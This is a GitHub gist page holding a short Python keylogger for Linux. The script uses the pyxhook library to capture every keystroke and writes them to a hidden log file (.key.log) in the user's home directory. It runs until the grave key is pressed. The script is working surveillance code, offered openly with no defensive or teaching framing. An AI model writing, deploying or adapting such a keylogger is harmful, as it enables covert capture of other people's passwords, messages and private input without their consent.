Skip to content

Instantly share code, notes, and snippets.

@smellslikeml
Created October 21, 2018 16:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save smellslikeml/b62e285f81f4c58d55bcc8fc83c199f8 to your computer and use it in GitHub Desktop.
Save smellslikeml/b62e285f81f4c58d55bcc8fc83c199f8 to your computer and use it in GitHub Desktop.
keylogger
#!/usr/bin/env python
"""
Based on script by Aman Deep
A simple keylogger witten in python for linux platform
All keystrokes are recorded in a log file.
The program terminates when grave key(`) is pressed
grave key is found below Esc key
"""
import os
import pyxhook
#hidden key log file
log_file=os.path.join(os.environ['HOME'], '.key.log')
#called on key press
def OnKeyPress(event):
fob=open(log_file,'a')
fob.write(event.Key)
fob.write('\n')
if event.Ascii==96: #96 is the ascii value of the grave key (`)
fob.close()
new_hook.cancel()
#instantiate HookManager class
new_hook=pyxhook.HookManager()
#listen to all keystrokes
new_hook.KeyDown=OnKeyPress
#hook the keyboard
new_hook.HookKeyboard()
#start the session
new_hook.start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment